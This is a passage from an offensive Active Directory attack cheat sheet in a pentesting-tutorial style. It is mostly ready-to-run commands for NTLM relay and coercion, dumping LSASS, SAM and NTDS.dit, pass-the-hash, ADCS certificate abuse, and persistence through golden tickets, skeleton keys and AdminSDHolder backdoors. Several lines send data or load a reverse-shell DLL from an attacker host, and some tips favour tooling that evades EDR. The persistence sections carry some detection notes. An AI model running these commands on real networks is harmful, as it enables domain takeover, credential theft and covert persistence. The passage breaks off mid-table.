π‘ Pro tip: RBCD is one of the most common escalation paths in modern AD. If BloodHound shows you have GenericWrite on ANY computer, think RBCD immediately. The default machine account quota of 10 means any domain user can create computer accounts to abuse this.
NTLM relay is one of the most powerful network-level AD attacks. Instead of cracking captured NTLM hashes, you relay the authentication to another service in real-time β making the victim authenticate to a target of your choice.
# βββ NTLM RELAY β HOW IT WORKS βββ
#
# ββββββββββββ ββββββββββββ ββββββββββββ
# β Victim β NTLM Auth β Attacker β Relayed Auth β Target β
# β (DC01) β βββββββββββββββββββΊβ (Relay) β βββββββββββββββββββΊβ (ADCS) β
# β β "I am DC01$" β β "I am DC01$" β β
# β β β β β β
# β β Challenge β β Challenge β β
# β β ββββββββββββββββββββ β ββββββββββββββββββββ β
# β β β β β β
# β β Response β β Response β β
# β β βββββββββββββββββββΊβ β βββββββββββββββββββΊβ β
# β β β β "Auth successful!" β β
# ββββββββββββ ββββββββββββ ββββββββββββ
#
# The attacker is a man-in-the-middle:
# 1. Coerce victim to authenticate to attacker
# 2. Relay that authentication to the real target
# 3. Target thinks victim authenticated β grants access
# 4. Attacker uses that authenticated session
Responder poisons LLMNR/NBT-NS/mDNS requests on the local network. When a machine fails DNS resolution, it broadcasts "who is \\server?" β Responder answers "me!" and captures the NTLM hash.
# Start Responder to capture NTLMv2 hashes
sudo responder -I eth0 -dwv
# -I eth0 β Network interface
# -d β Enable DHCP responses
# -w β Enable WPAD rogue proxy
# -v β Verbose
# Responder will capture hashes like:
# [SMB] NTLMv2-SSP Hash : domain\jsmith::DOMAIN:abc123...
# [HTTP] NTLMv2 Hash : domain\admin::DOMAIN:def456...
# Crack captured NTLMv2 hashes
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt
# For relay, disable SMB and HTTP in Responder (we're relaying, not capturing)
sudo nano /usr/share/responder/Responder.conf
# Set: SMB = Off, HTTP = Off
# Find targets that DON'T require SMB signing (required for relay)
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# Start ntlmrelayx pointed at targets
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# Relay and execute a command
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c 'whoami'
# Relay and dump SAM
impacket-ntlmrelayx -tf relay_targets.txt -smb2support --dump-sam
# Relay to LDAP (e.g., for RBCD or adding computer accounts)
impacket-ntlmrelayx -t ldap://DC01.domain.htb --delegate-access
# Relay to ADCS web enrollment (ESC8 β see ADCS section)
impacket-ntlmrelayx -t http://CA01.domain.htb/certsrv/certfnsh.asp \
--adcs --template DomainController
π‘ Pro tip: SMB signing being required blocks SMB relay. Domain Controllers have signing required by default, but member servers often don't. Check with CrackMapExec β if it says "signing: False", that target is relayable.
Relay is useless without a victim authenticating to you. Coercion techniques force a target machine to authenticate to your attacker machine:
# βββ PetitPotam (MS-EFSRPC) βββ
# Forces a machine to authenticate via the Encrypting File System Remote Protocol
# Works unauthenticated on unpatched DCs!
python3 PetitPotam.py ATTACKER_IP DC_IP
# Authenticated version (always works):
python3 PetitPotam.py -u user -p password -d domain.htb ATTACKER_IP DC_IP
# βββ PrinterBug / SpoolSample (MS-RPRN) βββ
# Abuses the Print Spooler service β forces machine to auth back to you
# Requires valid domain creds
SpoolSample.exe DC01.domain.htb ATTACKER_IP
# Or from Linux:
python3 printerbug.py domain.htb/user:password@DC_IP ATTACKER_IP
# βββ DFSCoerce (MS-DFSNM) βββ
# Uses Distributed File System to coerce authentication
python3 dfscoerce.py -u user -p password -d domain.htb ATTACKER_IP DC_IP
# βββ ShadowCoerce (MS-FSRVP) βββ
# Uses File Server VSS Agent Service
python3 shadowcoerce.py -u user -p password -d domain.htb ATTACKER_IP DC_IP
# The "PetitPotam + ADCS relay" combo β one of the most devastating AD attacks
#
# βββββββββββββ PetitPotam βββββββββββββ Relay to ADCS βββββββββββββ
# β DC01 β βββββββββββββββΊβ Attacker β βββββββββββββββββΊβ CA01 β
# β β coerced auth β (relay) β request cert β (ADCS) β
# βββββββββββββ βββββββββββββ as DC01$ βββββββββββββ
# β
# βΌ
# Certificate for DC01$
# β
# βΌ
# Authenticate as DC01$
# β
# βΌ
# DCSync β All domain hashes
# Step 1: Start ntlmrelayx targeting ADCS
impacket-ntlmrelayx -t http://CA01.domain.htb/certsrv/certfnsh.asp \
--adcs --template DomainController
# Step 2: Trigger PetitPotam
python3 PetitPotam.py ATTACKER_IP DC01.domain.htb
# Step 3: ntlmrelayx gets a certificate for DC01$
# Step 4: Use the certificate to authenticate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# Step 5: DCSync with the DC machine account
impacket-secretsdump domain.htb/DC01\$@DC_IP -hashes :HASH
Once you have admin access on a machine, you need to extract credentials. Different sources hold different types of credentials, and each extraction method has different noise levels and requirements.
The Security Account Manager (SAM) holds local user account hashes. It's stored in C:\Windows\System32\config\SAM and is locked while Windows is running.
# βββ From a running system (need SYSTEM/admin access) βββ
# Method 1: Registry save (most reliable)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
reg save HKLM\SECURITY security.bak
# Transfer files to attacker, then:
impacket-secretsdump -sam sam.bak -system system.bak -security security.bak LOCAL
# Method 2: Mimikatz
mimikatz# token::elevate
mimikatz# lsadump::sam
# Method 3: CrackMapExec (remote, needs admin)
crackmapexec smb TARGET -u admin -p password --sam
# βββ From offline / backup / shadow copy βββ
# Copy from Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system
LSASS (Local Security Authority Subsystem Service) is the mother lode. It holds plaintext passwords (if WDigest is enabled), NTLM hashes, and Kerberos tickets for all logged-in users. Dumping LSASS is the #1 credential extraction technique.
# βββ Mimikatz (classic) βββ
# Requires SYSTEM or SeDebugPrivilege
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords
# Outputs: usernames, domain, NTLM hashes, and sometimes plaintext passwords!
# Dump just NTLM hashes (less output):
mimikatz# sekurlsa::msv
# Dump Kerberos tickets from memory:
mimikatz# sekurlsa::tickets /export
# βββ Procdump (Sysinternals β signed by Microsoft, less likely to be flagged) βββ
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Transfer dmp file to attacker machine, parse with Mimikatz:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
# Or parse with pypykatz (Linux):
pypykatz lsa minidump lsass.dmp
# βββ comsvcs.dll (built into Windows β no tools needed!) βββ
# Find LSASS PID first
tasklist /fi "imagename eq lsass.exe"
# Dump using the built-in MiniDump function
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID C:\temp\lsass.dmp full
# βββ nanodump (modern, stealthy) βββ
nanodump.exe --write C:\temp\lsass.dmp
# βββ CrackMapExec (remote LSASS dump) βββ
crackmapexec smb TARGET -u admin -p password --lsa
crackmapexec smb TARGET -u admin -p password -M lsassy
# βββ From Linux with impacket βββ
impacket-secretsdump domain.htb/admin:password@TARGET
π‘ Pro tip: Windows Defender and EDRs heavily monitor LSASS access. In 2024+, direct Mimikatz on disk gets caught instantly. Use: (1)procdump.exe(signed Microsoft binary), (2)comsvcs.dll(LOLBin β lives on every Windows box), or (3) dump from a Linux attacker machine usingimpacket-secretsdumporcrackmapexec --lsa. Parse offline with pypykatz.
DPAPI (Data Protection API) protects saved browser passwords, Wi-Fi passwords, RDP credentials, and other secrets. If you have SYSTEM access, you can decrypt them.
# Dump DPAPI masterkeys and decrypt secrets
mimikatz# dpapi::cred /in:C:\Users\jsmith\AppData\Roaming\Microsoft\Credentials\*
# Browser saved passwords
mimikatz# dpapi::chrome /in:"C:\Users\jsmith\AppData\Local\Google\Chrome\User Data\Default\Login Data"
# SharpDPAPI (C# tool β less detected)
SharpDPAPI.exe triage
SharpDPAPI.exe credentials /server:DC01.domain.htb
SharpDPAPI.exe backupkey /server:DC01.domain.htb # Domain DPAPI backup key!
Windows caches the last 10 domain logon hashes (DCC2/mscache2) so users can log in when the DC is unreachable. These are slow to crack but still valuable.
# Extract cached creds
mimikatz# lsadump::cache
# Or via registry
impacket-secretsdump -sam sam.bak -system system.bak -security security.bak LOCAL
# Look for "Cached domain logon information"
# Crack DCC2 hashes (SLOW β mode 2100)
hashcat -m 2100 cached_hashes.txt /usr/share/wordlists/rockyou.txt
NTDS.dit is the Active Directory database stored on Domain Controllers. It contains EVERY domain user's password hash. Getting this file = game over for the entire domain.
# βββ Method 1: DCSync (preferred β no file transfer needed) βββ
impacket-secretsdump domain.htb/admin:password@DC_IP
mimikatz# lsadump::dcsync /domain:domain.htb /all /csv
# βββ Method 2: Volume Shadow Copy βββ
# On the DC:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.bak
# Parse offline:
impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL
# βββ Method 3: ntdsutil βββ
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_dump" quit quit
# Creates ntds.dit + SYSTEM hive in C:\temp\ntds_dump\
# βββ Method 4: CrackMapExec βββ
crackmapexec smb DC_IP -u admin -p password --ntds
# ββββββββββββββββββββββ¬βββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββ
# β Technique β What You Get β When to Use β
# ββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββββ€
# β SAM dump β Local user hashesβ First thing on any Windows box β
# β LSASS dump β Domain hashes, β When users are logged in β
# β β tickets,plaintextβ (check sessions first!) β
# β DCSync β ALL domain hashesβ When you have DA / DCSync rights β
# β NTDS.dit β ALL domain hashesβ When you're on the DC itself β
# β Cached creds β Last 10 logons β When box is disconnected from DC β
# β DPAPI β Saved passwords, β When you need browser/app creds β
# β β Wi-Fi, RDP creds β β
# β Kerberos tickets β TGTs, TGS β For pass-the-ticket attacks β
# ββββββββββββββββββββββ΄βββββββββββββββββββ΄βββββββββββββββββββββββββββββββββββ
You've got creds (password or hash) for a user who is admin on another machine. Now you need to move there. Each lateral movement technique uses a different protocol and leaves different forensic artifacts.
# ββββββββββββββ¬ββββββββββββ¬ββββββββββββ¬βββββββββββββ¬βββββββββββββββββββββββββββββββ
# β Tool β Protocol β Port β Artifacts β Notes β
# ββββββββββββββΌββββββββββββΌββββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββ€
# β PsExec β SMB β 445 β HIGH β Creates a service, writes β
# β β β β β binary to ADMIN$. Very noisy.β
# β β β β β Event IDs: 7045, 4697 β
# ββββββββββββββΌββββββββββββΌββββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββ€
# β WMIExec β WMI/DCOM β 135+ β LOW β No file drop, uses WMI for β
# β β β dynamic β β command execution. Semi- β
# β β β β β interactive shell. Stealthy. β
# ββββββββββββββΌββββββββββββΌββββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββ€
# β SMBExec β SMB β 445 β MEDIUM β Creates a service but no β
# β β β β β binary drop. Slightly less β
# β β β β β noisy than PsExec. β
# ββββββββββββββΌββββββββββββΌββββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββ€
# β AtExec β Task Schedβ 445 β LOW-MED β Uses scheduled tasks via SMB.β
# β β β β β Output via file share. Task β
# β β β β β Scheduler logs (Event 4698). β
# ββββββββββββββΌββββββββββββΌββββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββ€
# β Evil-WinRM β WinRM β 5985/5986 β LOW β Full PowerShell session. β
# β β β β β Uses legitimate WinRM infra. β
# β β β β β Upload/download built in. β
# ββββββββββββββΌββββββββββββΌββββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββ€
# β DCOM β DCOM/RPC β 135+ β LOW β Multiple DCOM objects can β
# β β β dynamic β β execute commands. Rarely β
# β β β β β monitored. β
# ββββββββββββββΌββββββββββββΌββββββββββββΌβββββββββββββΌβββββββββββββββββββββββββββββββ€
# β RDP β RDP β 3389 β HIGH β Full GUI session. Leaves β
# β β β β β extensive logs. User profile β
# β β β β β created on first login. β
# ββββββββββββββ΄ββββββββββββ΄ββββββββββββ΄βββββββββββββ΄βββββββββββββββββββββββββββββββ
# Impacket PsExec (creates a service, writes exe to ADMIN$ share)
impacket-psexec domain.htb/admin:password@TARGET
impacket-psexec domain.htb/admin@TARGET -hashes :NTLM_HASH
# Sysinternals PsExec (from Windows)
PsExec.exe \\TARGET -u domain\admin -p password cmd.exe
PsExec.exe \\TARGET -u domain\admin -p password -s cmd.exe # SYSTEM shell
# CrackMapExec (quick command execution)
crackmapexec smb TARGET -u admin -p password -x 'whoami'
# Semi-interactive shell via WMI
impacket-wmiexec domain.htb/admin:password@TARGET
impacket-wmiexec domain.htb/admin@TARGET -hashes :NTLM_HASH
# CrackMapExec with WMI
crackmapexec smb TARGET -u admin -p password --exec-method wmiexec -x 'whoami'
# Full PowerShell shell via WinRM (port 5985)
evil-winrm -i TARGET -u admin -p 'password'
evil-winrm -i TARGET -u admin -H NTLM_HASH
# With certificate auth (from ADCS abuse)
evil-winrm -i TARGET -c cert.pem -k key.pem -S
# Upload and download files
*Evil-WinRM* PS> upload /tmp/SharpHound.exe C:\temp\SharpHound.exe
*Evil-WinRM* PS> download C:\temp\lsass.dmp /tmp/lsass.dmp
# Load PowerShell scripts
*Evil-WinRM* PS> menu
*Evil-WinRM* PS> Bypass-4MSI # AMSI bypass built in!
# With the NTLM hash β no password needed
impacket-psexec domain.htb/admin@TARGET -hashes :NTLM_HASH
impacket-wmiexec domain.htb/admin@TARGET -hashes :NTLM_HASH
evil-winrm -i TARGET -u admin -H NTLM_HASH
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH
# From Windows (Mimikatz)
mimikatz# sekurlsa::pth /user:admin /domain:domain.htb /ntlm:HASH /run:cmd.exe
# A new cmd.exe opens with the target user's token
# Use a Kerberos ticket instead of password/hash
# First, export tickets from memory:
mimikatz# sekurlsa::tickets /export
# Or use Rubeus:
Rubeus.exe dump /nowrap
# Inject ticket into current session (Windows)
mimikatz# kerberos::ptt ticket.kirbi
Rubeus.exe ptt /ticket:BASE64_TICKET
# From Linux β set the ccache file
export KRB5CCNAME=/tmp/admin.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]
# Convert between formats
impacket-ticketConverter ticket.kirbi ticket.ccache # kirbi β ccache
impacket-ticketConverter ticket.ccache ticket.kirbi # ccache β kirbi
Convert an NTLM hash into a Kerberos ticket, then use the ticket. This bypasses defenses that block NTLM but allow Kerberos.
# Mimikatz β request TGT using the hash
mimikatz# sekurlsa::pth /user:admin /domain:domain.htb /ntlm:HASH /run:powershell.exe
# The new PowerShell session has a Kerberos TGT, not an NTLM token
# Rubeus
Rubeus.exe asktgt /user:admin /domain:domain.htb /rc4:HASH /ptt
# Impacket β get TGT
impacket-getTGT domain.htb/admin -hashes :HASH
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]
π‘ Pro tip: Many organizations disable NTLM but leave Kerberos open. Overpass-the-Hash converts your NTLM hash to a Kerberos ticket, bypassing NTLM restrictions. Also useful against hosts that have SMB signing required β Kerberos auth works fine with SMB signing.
Beyond the standard Windows priv esc techniques, Active Directory has domain-specific escalation vectors based on group memberships, misconfigurations, and legacy features.
These groups grant powerful privileges that can be abused for escalation β even if they don't look like "admin" groups:
# βββ Backup Operators βββ
# Can back up any file on the system, including SAM, SYSTEM, NTDS.dit
# Abuse: Dump the domain database!
# Use wbadmin to backup NTDS.dit
wbadmin start backup -backuptarget:\\attacker\share -include:C:\Windows\NTDS\ntds.dit -quiet
# Or use robocopy with backup privilege
robocopy /B C:\Windows\NTDS C:\temp ntds.dit
# Or use the SeBackupPrivilege directly
# (import privilege escalation DLLs or use SeBackupPrivilegeCmdLets)
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\temp\ntds.dit -Overwrite
# βββ Server Operators βββ
# Can start/stop services, modify service configurations
# Abuse: Modify a service to run your payload as SYSTEM
# Change service binary path to a reverse shell:
sc config VSS binpath="C:\temp\rev.exe"
sc stop VSS
sc start VSS
# You now have SYSTEM
# Or use sc to create a new service:
sc create evil binpath="C:\temp\rev.exe" start=auto
sc start evil
# βββ DnsAdmins βββ
# Can load arbitrary DLLs into the DNS service (which runs as SYSTEM on the DC)
# Abuse: DLL injection on the Domain Controller!
# Create malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o evil.dll
# Host on SMB share, then on DC:
dnscmd DC01 /config /serverlevelplugindll \\attacker\share\evil.dll
sc stop dns
sc start dns
# Reverse shell as SYSTEM on the DC!
# βββ Account Operators βββ
# Can create/modify/delete users and groups (except privileged ones)
# Can log in to DCs
# Abuse: Create new accounts, add to groups, modify ACLs
# Create a new user
net user hacker Pass123! /add /domain
# Add to a non-protected group that has interesting permissions
net group "IT Admins" hacker /add /domain
# βββ Print Operators βββ
# Can load drivers (kernel code!) on DCs
# SeLoadDriverPrivilege β load arbitrary kernel drivers
# Abuse: Load a vulnerable driver, then exploit it for SYSTEM
π‘ Pro tip: Always check whoami /groups and cross-reference with BloodHound. "Server Operators" and "DnsAdmins" are commonly overlooked during AD hardening but give you a direct path to SYSTEM on the DC.
LAPS sets unique, rotating local admin passwords on each machine and stores them in AD. If you can read the LAPS attributes, you get local admin on every machine.
# βββ Check if LAPS is deployed βββ
# Look for the LAPS DLL or check AD schema
Get-DomainObject -SearchBase "CN=Schema,CN=Configuration,DC=domain,DC=htb" |
Where-Object {$_.name -like "*ms-Mcs-Adm*"}
# βββ Read LAPS passwords (PowerView) βββ
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
# All machines with LAPS passwords you can read:
Get-DomainComputer | Where-Object {$_."ms-Mcs-AdmPwd" -ne $null} |
Select-Object name, ms-Mcs-AdmPwd
# βββ Read LAPS from Linux βββ
# ldapsearch
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(objectClass=computer)' ms-Mcs-AdmPwd sAMAccountName
# CrackMapExec
crackmapexec ldap DC_IP -u user -p password -M laps
# pyLAPS
python3 pyLAPS.py --action get -d domain.htb -u user -p password --dc-ip DC_IP
# βββ LAPS2 (Windows LAPS) β newer version βββ
# Stores passwords in msLAPS-Password and msLAPS-EncryptedPassword
# CrackMapExec module handles both LAPS v1 and v2
Legacy Group Policy Preferences could push local admin passwords to machines. The password was "encrypted" with AES-256... but Microsoft published the key. Any domain user can read the SYSVOL share and decrypt these passwords.
# GPP passwords are stored in XML files in SYSVOL
# \\domain.htb\SYSVOL\domain.htb\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
# βββ Manual search βββ
findstr /S /I "cpassword" \\domain.htb\SYSVOL\domain.htb\Policies\*.xml
# βββ Decrypt with gpp-decrypt βββ
gpp-decrypt "ENCRYPTED_CPASSWORD_HERE"
# βββ CrackMapExec (automatic) βββ
crackmapexec smb DC_IP -u user -p password -M gpp_password
# βββ Get-GPPPassword (PowerSploit) βββ
Get-GPPPassword
# βββ Metasploit βββ
use auxiliary/scanner/smb/smb_enum_gpp
π‘ Pro tip: Microsoft patched GPP password storage in MS14-025 (2014), but many environments still have old GPP XML files sitting in SYSVOL with cached passwords. Always check β it's free domain admin creds on legacy networks.
Group Managed Service Accounts have auto-rotating passwords managed by AD. If you can read the msDS-ManagedPassword attribute, you can extract the password hash.
# βββ Find gMSA accounts βββ
Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)'
# βββ Check who can read the gMSA password βββ
Get-DomainObject -Identity 'gMSA_SVC$' -Properties 'msDS-GroupMSAMembership'
# βββ Read gMSA password (if you have access) βββ
# PowerShell AD module:
$gmsa = Get-ADServiceAccount -Identity gMSA_SVC -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$mp.SecureCurrentPassword | ConvertTo-NTHash
# βββ From Linux βββ
# gMSADumper
python3 gMSADumper.py -u user -p password -d domain.htb -l DC_IP
# Impacket + bloodyAD
bloodyAD -d domain.htb -u user -p password --host DC_IP get object 'gMSA_SVC$' \
--attr msDS-ManagedPassword
ADCS is currently the biggest attack surface in Active Directory. Certificate Services issues X.509 certificates that can be used for authentication β and misconfigurations in certificate templates can let you authenticate as any user, including Domain Admins. The SpecterOps research paper "Certified Pre-Owned" identified 8 escalation techniques (ESC1-ESC8), with more discovered since.
# βββ Certipy (Linux β the go-to ADCS tool) βββ
# Find all vulnerable certificate templates
certipy find -u [email protected] -p 'password' -dc-ip DC_IP -stdout
# Output to file for review
certipy find -u [email protected] -p 'password' -dc-ip DC_IP -text -output certipy_results
# βββ Certify (Windows) βββ
# Find vulnerable templates
Certify.exe find /vulnerable
# List all CAs
Certify.exe cas
# List all templates
Certify.exe find
# βββ CrackMapExec βββ
crackmapexec ldap DC_IP -u user -p password -M adcs
The most common and most devastating ADCS vulnerability. A template is vulnerable to ESC1 if:
# βββ ESC1 Exploitation βββ
# Request a certificate as Domain Admin (even though you're a normal user!)
# Certipy (Linux)
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -template 'VulnerableTemplate' \
-upn [email protected]
# Certify (Windows)
Certify.exe request /ca:DC01.domain.htb\domain-CA /template:VulnerableTemplate \
/altname:administrator
# βββ Authenticate with the certificate βββ
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Returns the NTLM hash of Administrator!
# Use the hash
impacket-psexec domain.htb/administrator@DC_IP -hashes :HASH
Templates with "Any Purpose" EKU or no EKU at all can be used for client authentication. Similar exploitation to ESC1 if the user can supply the SAN.
A template with the "Certificate Request Agent" EKU allows you to enroll for certificates on behalf of other users. Two-step attack: get an enrollment agent cert, then use it to request a cert for another user.
# Step 1: Request enrollment agent certificate
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -template 'EnrollmentAgent'
# Step 2: Use it to request a cert as admin on a different template
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -template 'User' \
-on-behalf-of 'domain\administrator' -pfx enrollment_agent.pfx
# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
If you have write access to a certificate template (GenericAll, GenericWrite, WriteDACL, WriteOwner), you can modify it to make it vulnerable to ESC1.
# Modify the template to enable ENROLLEE_SUPPLIES_SUBJECT and Client Authentication
certipy template -u [email protected] -p 'password' -dc-ip DC_IP \
-template 'TargetTemplate' -save-old
# Now exploit as ESC1
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -template 'TargetTemplate' \
-upn [email protected]
# Restore original template
certipy template -u [email protected] -p 'password' -dc-ip DC_IP \
-template 'TargetTemplate' -configuration old_config.json
Write access to CA server, NTAuthCertificates, or PKI container objects can be abused for full ADCS compromise.
If the CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, ANY certificate template can be abused for ESC1-style attacks β the requester can always supply an alternative SAN.
# Check for the flag
Certify.exe cas
# Look for: "UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2"
# Exploit: same as ESC1 but works on ANY template
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -template 'User' \
-upn [email protected]
If you have ManageCA or ManageCertificates rights on the CA, you can approve pending certificate requests or change CA configuration.
# With ManageCA: Enable EDITF_ATTRIBUTESUBJECTALTNAME2, then ESC6
certipy ca -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -enable-template 'SubCA'
# Request cert (will be denied but saved)
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -template 'SubCA' \
-upn [email protected]
# Issue the pending request (with ManageCertificates)
certipy ca -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -issue-request REQUEST_ID
# Retrieve the issued certificate
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -retrieve REQUEST_ID
If the ADCS web enrollment endpoint (certsrv) is accessible and doesn't require HTTPS, you can relay NTLM authentication to request a certificate as the victim.
# This is the PetitPotam + ADCS relay combo from the NTLM Relay section
# Step 1: Start relay
impacket-ntlmrelayx -t http://CA01.domain.htb/certsrv/certfnsh.asp \
--adcs --template DomainController
# Step 2: Coerce DC authentication
python3 PetitPotam.py ATTACKER_IP DC01.domain.htb
# Step 3: Get certificate, authenticate, DCSync
certipy auth -pfx dc01.pfx -dc-ip DC_IP
Research continues to find new ADCS escalation paths. Stay current with:
π‘ Pro tip: ADCS attacks are the #1 way pentesters get Domain Admin in 2024-2026. Certipy'sfindcommand with-vulnerableflag is the first thing you should run after BloodHound. ESC1 alone accounts for the majority of ADCS wins on real engagements.
You've got Domain Admin. But engagements last days or weeks, and defenders might reset passwords. Persistence techniques ensure you keep access even if your initial vector is closed.
# Forge a TGT that lasts 10 years (or any duration)
mimikatz# kerberos::golden /user:SpecialAdmin /domain:domain.htb \
/sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:KRBTGT_HASH \
/id:500 /groups:512,513,518,519,520 /ptt
# Notes:
# - Survives password resets of ALL users (except krbtgt)
# - Survives domain controller reboots
# - Only invalidated by resetting krbtgt password TWICE
# (because the previous password is also valid)
#
# Detection:
# - TGT with abnormal lifetime (default max is 10 hours)
# - TGT encryption doesn't match domain policy
# - Event ID 4769 with unusual ticket options
# - PAC validation failures at the DC
# Forge service tickets for stealthy, targeted access
# Advantages over Golden Ticket: DC is never contacted
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
/sid:S-1-5-21-XXXX-XXXX-XXXX \
/target:DC01.domain.htb /service:cifs /rc4:MACHINE_HASH /ptt
# Detection:
# - PAC validation checks (if enabled) will fail
# - No corresponding TGT request in DC logs
# - Unusual service ticket without prior TGS-REQ
Patches the LSASS process on a DC so that a master password works for ANY domain account, while the original password also continues to work. Users don't notice anything.
# Install Skeleton Key on the DC (requires DA + LSASS access)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now "mimikatz" works as a password for ANY account:
impacket-psexec domain.htb/Administrator:mimikatz@DC01
# Real passwords still work too β users won't notice
# Limitations:
# - Only in memory β doesn't survive DC reboot
# - Must be reinstalled after every reboot
# - Detected by monitoring for LSASS patches
#
# Detection:
# - LSASS memory integrity monitoring
# - Authentication anomalies (same password for multiple accounts)
# - Event ID 4673 (Sensitive Privilege Use)
The AdminSDHolder object's ACL is pushed to all protected accounts every 60 minutes by the SDProp process. If you add an ACE to AdminSDHolder, it propagates to every admin account β persistent backdoor access.
# Add a backdoor ACE to AdminSDHolder
# This gives your user GenericAll on ALL protected accounts (Domain Admins, etc.)
# PowerView
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=htb' \
-PrincipalIdentity backdoor_user -Rights All
# Within 60 minutes, SDProp runs and copies this ACE to:
# - Domain Admins
# - Enterprise Admins
# - Schema Admins
# - Administrators
# - Account Operators
# - Etc.
# Now your backdoor user has GenericAll on all admin accounts!
# Reset any admin's password:
net rpc password "Administrator" "NewP@ss!" -U 'domain/backdoor_user%pass' -S DC_IP
# Detection:
# - Monitor ACL changes on AdminSDHolder
# - Event ID 5136 (Directory Service Changes)
# - Regular AdminSDHolder ACL audits
DCShadow registers your machine as a temporary Domain Controller, makes changes directly to AD (replication), then unregisters. Changes bypass normal audit logging because they appear as DC replication.
# DCShadow β modify AD objects stealthily
# Requires DA + running on a domain-joined machine
# Terminal 1: Register as a fake DC and push changes
mimikatz# lsadump::dcshadow /object:targetuser /attribute:primaryGroupID /value:512
# Terminal 2: Trigger replication
mimikatz# lsadump::dcshadow /push
# This modifies targetuser's primary group to Domain Admins (RID 512)
# via replication β minimal logging!
# Other DCShadow uses:
# - Add SIDHistory to a user
# - Modify ACLs
# - Set SPNs for Kerberoasting
# - Any AD attribute modification
# Detection:
# - Monitor for new DC registrations (DsReplicaAdd events)
# - Unusual replication partners
# - Temporary SPN registrations
# - Event ID 4742 (Computer Account Changed)
# If ADCS exists, request a long-lived certificate
# Certificates survive password changes!
# Request a cert as Domain Admin (valid for 1+ years)
certipy req -u [email protected] -p 'password' -dc-ip DC_IP \
-ca 'domain-CA' -template 'User'
# Even after password reset, authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Detection:
# - Monitor certificate enrollment events (Event ID 4886, 4887)
# - Regular certificate audit
# - Short certificate validity periods
Active Directory domains can trust each other, allowing users from one domain to access resources in another. These trust relationships can be abused to escalate from one domain to another β potentially from a child domain to the entire forest.
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# β AD TRUST TYPES β
# βββββββββββββββββββββ¬ββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββ€
# β Trust Type β Direction β Notes β
# βββββββββββββββββββββΌββββββββββββββΌβββββββββββββββββββββββββββββββββββββββ€
# β Parent-Child β Two-way β Automatic between parent/child β
# β β transitive β domains in a forest. ALWAYS exists. β
# β β β Can be abused with SID history. β
# βββββββββββββββββββββΌββββββββββββββΌβββββββββββββββββββββββββββββββββββββββ€
# β Tree-Root β Two-way β Between tree roots in same forest. β
# β β transitive β Same abuse potential as parent-child.β
# βββββββββββββββββββββΌββββββββββββββΌβββββββββββββββββββββββββββββββββββββββ€
